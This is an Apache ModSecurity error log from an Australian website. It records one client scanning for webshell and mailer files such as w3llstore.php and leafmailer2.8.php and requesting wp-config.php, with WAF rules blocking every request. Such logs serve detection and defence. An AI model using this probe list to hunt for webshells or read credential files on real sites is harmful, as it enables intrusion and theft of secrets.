[Sun Jan 18 18:52:51.765257 2026] [:error] [pid 37885:tid 37891] [client 20.2.112.127:3780] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsanon.php"] [unique_id "aWy7g4IjOL7XA82H72V01gAAAUM"]
[Sun Jan 18 18:52:51.999822 2026] [:error] [pid 12923:tid 12935] [client 20.2.112.127:3998] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsanon.php"] [unique_id "aWy7g-sWURrrC-4Rx5J6NwAAAAM"]
[Sun Jan 18 18:52:52.235765 2026] [:error] [pid 12923:tid 12955] [client 20.2.112.127:3966] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/..php"] [unique_id "aWy7hOsWURrrC-4Rx5J6OQAAABc"]
[Sun Jan 18 18:52:52.468722 2026] [:error] [pid 37885:tid 37899] [client 20.2.112.127:3742] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/..php"] [unique_id "aWy7hIIjOL7XA82H72V02AAAAUs"]
[Sun Jan 18 18:52:52.703142 2026] [:error] [pid 12923:tid 12941] [client 20.2.112.127:3892] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/..php"] [unique_id "aWy7hOsWURrrC-4Rx5J6OgAAAAk"]
[Sun Jan 18 18:52:52.936353 2026] [:error] [pid 13034:tid 13050] [client 20.2.112.127:3746] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/..php"] [unique_id "aWy7hMRGpUu1E8cmbmiKggAAAMw"]
[Sun Jan 18 18:52:53.168964 2026] [:error] [pid 12925:tid 13005] [client 20.2.112.127:3890] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfav.php"] [unique_id "aWy7hfsBL-4pnmSbzihIBAAAAJE"]
[Sun Jan 18 18:52:53.443954 2026] [:error] [pid 13034:tid 13046] [client 20.2.112.127:3954] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfav.php"] [unique_id "aWy7hcRGpUu1E8cmbmiKgwAAAMg"]
[Sun Jan 18 18:52:53.676580 2026] [:error] [pid 13034:tid 13043] [client 20.2.112.127:3797] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfav.php"] [unique_id "aWy7hcRGpUu1E8cmbmiKhAAAAMU"]
[Sun Jan 18 18:52:53.913245 2026] [:error] [pid 13034:tid 13058] [client 20.2.112.127:3851] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfav.php"] [unique_id "aWy7hcRGpUu1E8cmbmiKhgAAANQ"]
[Sun Jan 18 18:52:54.155370 2026] [:error] [pid 13034:tid 13036] [client 20.2.112.127:3789] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto_seo.php"] [unique_id "aWy7hsRGpUu1E8cmbmiKiAAAAMA"]
[Sun Jan 18 18:52:54.387775 2026] [:error] [pid 13034:tid 13051] [client 20.2.112.127:3800] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto_seo.php"] [unique_id "aWy7hsRGpUu1E8cmbmiKigAAAM0"]
[Sun Jan 18 18:52:54.620464 2026] [:error] [pid 12924:tid 12984] [client 20.2.112.127:3995] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto_seo.php"] [unique_id "aWy7hiuv3PUo9LR6V6YlBAAAAFg"]
[Sun Jan 18 18:52:54.853195 2026] [:error] [pid 13034:tid 13048] [client 20.2.112.127:3724] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto_seo.php"] [unique_id "aWy7hsRGpUu1E8cmbmiKjgAAAMo"]
[Sun Jan 18 18:52:55.086065 2026] [:error] [pid 12923:tid 12953] [client 20.2.112.127:10406] [client 20.2.112.127] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-config.php"] [unique_id "aWy7h-sWURrrC-4Rx5J6PAAAABU"]
[Sun Jan 18 18:52:55.322943 2026] [:error] [pid 12923:tid 12943] [client 20.2.112.127:3926] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anon.php"] [unique_id "aWy7h-sWURrrC-4Rx5J6PQAAAAs"]
[Sun Jan 18 18:52:55.555527 2026] [:error] [pid 12923:tid 12952] [client 20.2.112.127:3821] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anon.php"] [unique_id "aWy7h-sWURrrC-4Rx5J6PgAAABQ"]
[Sun Jan 18 18:52:55.790786 2026] [:error] [pid 12923:tid 12938] [client 20.2.112.127:3947] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/anon.php"] [unique_id "aWy7h-sWURrrC-4Rx5J6PwAAAAY"]
[Sun Jan 18 18:52:56.026831 2026] [:error] [pid 13034:tid 13044] [client 20.2.112.127:3912] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfi.php"] [unique_id "aWy7iMRGpUu1E8cmbmiKkgAAAMY"]
[Sun Jan 18 18:52:56.260696 2026] [:error] [pid 12925:tid 13004] [client 20.2.112.127:4029] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfi.php"] [unique_id "aWy7iPsBL-4pnmSbzihICwAAAJA"]
[Sun Jan 18 18:52:56.498161 2026] [:error] [pid 12923:tid 12933] [client 20.2.112.127:3749] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfi.php"] [unique_id "aWy7iOsWURrrC-4Rx5J6QAAAAAE"]
[Sun Jan 18 18:52:56.731758 2026] [:error] [pid 13034:tid 13060] [client 20.2.112.127:3748] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfi.php"] [unique_id "aWy7iMRGpUu1E8cmbmiKkwAAANY"]
[Sun Jan 18 18:52:56.972830 2026] [:error] [pid 33494:tid 33520] [client 20.2.112.127:3716] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aWy7iLxmLR_50TtKxDILwAAAARY"]
[Sun Jan 18 18:52:57.216166 2026] [:error] [pid 33494:tid 33504] [client 20.2.112.127:3726] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aWy7ibxmLR_50TtKxDILwgAAAQY"]
[Sun Jan 18 18:52:57.475890 2026] [:error] [pid 12923:tid 12949] [client 20.2.112.127:3805] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aWy7iesWURrrC-4Rx5J6QQAAABE"]
[Sun Jan 18 18:52:57.709760 2026] [:error] [pid 33494:tid 33503] [client 20.2.112.127:3785] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w3llstore.php"] [unique_id "aWy7ibxmLR_50TtKxDILwwAAAQU"]
[Sun Jan 18 18:52:57.943065 2026] [:error] [pid 12924:tid 12971] [client 20.2.112.127:3798] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/leafmailer2.8.php"] [unique_id "aWy7iSuv3PUo9LR6V6YlCgAAAEs"]
[Sun Jan 18 18:52:58.181384 2026] [:error] [pid 12924:tid 12974] [client 20.2.112.127:4061] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/leafmailer2.8.php"] [unique_id "aWy7iiuv3PUo9LR6V6YlCwAAAE4"]
[Sun Jan 18 18:52:58.414346 2026] [:error] [pid 12924:tid 12963] [client 20.2.112.127:3939] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/leafmailer2.8.php"] [unique_id "aWy7iiuv3PUo9LR6V6YlDAAAAEM"]
[Sun Jan 18 18:52:58.653055 2026] [:error] [pid 33494:tid 33510] [client 20.2.112.127:3948] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/leafmailer2.8.php"] [unique_id "aWy7irxmLR_50TtKxDILxAAAAQw"]
[Sun Jan 18 18:52:58.896546 2026] [:error] [pid 13034:tid 13056] [client 20.2.112.127:3917] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aWy7isRGpUu1E8cmbmiKlgAAANI"]
[Sun Jan 18 18:52:59.133891 2026] [:error] [pid 13034:tid 13049] [client 20.2.112.127:3819] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aWy7i8RGpUu1E8cmbmiKmAAAAMs"]
[Sun Jan 18 18:52:59.368455 2026] [:error] [pid 33494:tid 33509] [client 20.2.112.127:3776] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aWy7i7xmLR_50TtKxDILxgAAAQs"]
[Sun Jan 18 18:52:59.601846 2026] [:error] [pid 13034:tid 13059] [client 20.2.112.127:3879] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp.php"] [unique_id "aWy7i8RGpUu1E8cmbmiKmgAAANU"]
[Sun Jan 18 18:52:59.834616 2026] [:error] [pid 37885:tid 37889] [client 20.2.112.127:3827] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aWy7i4IjOL7XA82H72V03gAAAUE"]
[Sun Jan 18 18:53:00.068409 2026] [:error] [pid 33494:tid 33515] [client 20.2.112.127:3808] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aWy7jLxmLR_50TtKxDILxwAAARE"]
[Sun Jan 18 18:53:00.304678 2026] [:error] [pid 12924:tid 12978] [client 20.2.112.127:3843] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aWy7jCuv3PUo9LR6V6YlEgAAAFI"]
[Sun Jan 18 18:53:00.543005 2026] [:error] [pid 12923:tid 12941] [client 20.2.112.127:3725] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1.php"] [unique_id "aWy7jOsWURrrC-4Rx5J6RQAAAAk"]
[Sun Jan 18 18:53:00.777450 2026] [:error] [pid 12924:tid 12975] [client 20.2.112.127:3811] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aWy7jCuv3PUo9LR6V6YlFQAAAE8"]
[Sun Jan 18 18:53:01.041317 2026] [:error] [pid 12923:tid 12937] [client 20.2.112.127:3803] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aWy7jesWURrrC-4Rx5J6RgAAAAU"]
[Sun Jan 18 18:53:01.277166 2026] [:error] [pid 12925:tid 13009] [client 20.2.112.127:3938] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aWy7jfsBL-4pnmSbzihIFQAAAJU"]
[Sun Jan 18 18:53:01.510376 2026] [:error] [pid 12924:tid 12980] [client 20.2.112.127:3818] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2.php"] [unique_id "aWy7jSuv3PUo9LR6V6YlGAAAAFQ"]
[Sun Jan 18 18:53:01.743326 2026] [:error] [pid 33494:tid 33507] [client 20.2.112.127:3874] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aWy7jbxmLR_50TtKxDILygAAAQk"]
[Sun Jan 18 18:53:01.975308 2026] [:error] [pid 12923:tid 12956] [client 20.2.112.127:3857] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aWy7jesWURrrC-4Rx5J6SAAAABg"]
[Sun Jan 18 18:53:02.208179 2026] [:error] [pid 12925:tid 12993] [client 20.2.112.127:4028] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aWy7jvsBL-4pnmSbzihIFgAAAIU"]
[Sun Jan 18 18:53:02.465425 2026] [:error] [pid 12925:tid 13008] [client 20.2.112.127:3929] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/3.php"] [unique_id "aWy7jvsBL-4pnmSbzihIFwAAAJQ"]
[Sun Jan 18 18:53:02.697983 2026] [:error] [pid 37885:tid 37901] [client 20.2.112.127:4084] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aWy7joIjOL7XA82H72V04AAAAU0"]
[Sun Jan 18 18:53:02.935294 2026] [:error] [pid 12925:tid 12996] [client 20.2.112.127:3886] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aWy7jvsBL-4pnmSbzihIGgAAAIg"]
[Sun Jan 18 18:53:03.167438 2026] [:error] [pid 12925:tid 12989] [client 20.2.112.127:3781] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aWy7j_sBL-4pnmSbzihIGwAAAIE"]
[Sun Jan 18 18:53:03.400409 2026] [:error] [pid 12923:tid 12943] [client 20.2.112.127:3733] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/4.php"] [unique_id "aWy7j-sWURrrC-4Rx5J6SwAAAAs"]
[Sun Jan 18 18:53:03.634606 2026] [:error] [pid 12924:tid 12969] [client 20.2.112.127:3806] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aWy7jyuv3PUo9LR6V6YlIgAAAEk"]
[Sun Jan 18 18:53:03.867300 2026] [:error] [pid 12924:tid 12966] [client 20.2.112.127:3815] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aWy7jyuv3PUo9LR6V6YlIwAAAEY"]
[Sun Jan 18 18:53:04.100780 2026] [:error] [pid 33494:tid 33506] [client 20.2.112.127:3896] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aWy7kLxmLR_50TtKxDIL0QAAAQg"]
[Sun Jan 18 18:53:04.333402 2026] [:error] [pid 12925:tid 12994] [client 20.2.112.127:3777] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/5.php"] [unique_id "aWy7kPsBL-4pnmSbzihIHwAAAIY"]
[Sun Jan 18 18:53:04.568202 2026] [:error] [pid 12925:tid 13009] [client 20.2.112.127:3766] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aWy7kPsBL-4pnmSbzihIIgAAAJU"]
[Sun Jan 18 18:53:04.802075 2026] [:error] [pid 12925:tid 12992] [client 20.2.112.127:3768] [client 20.2.112.127] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/6.php"] [unique_id "aWy7kPsBL-4pnmSbzihIJAAAAIQ"]
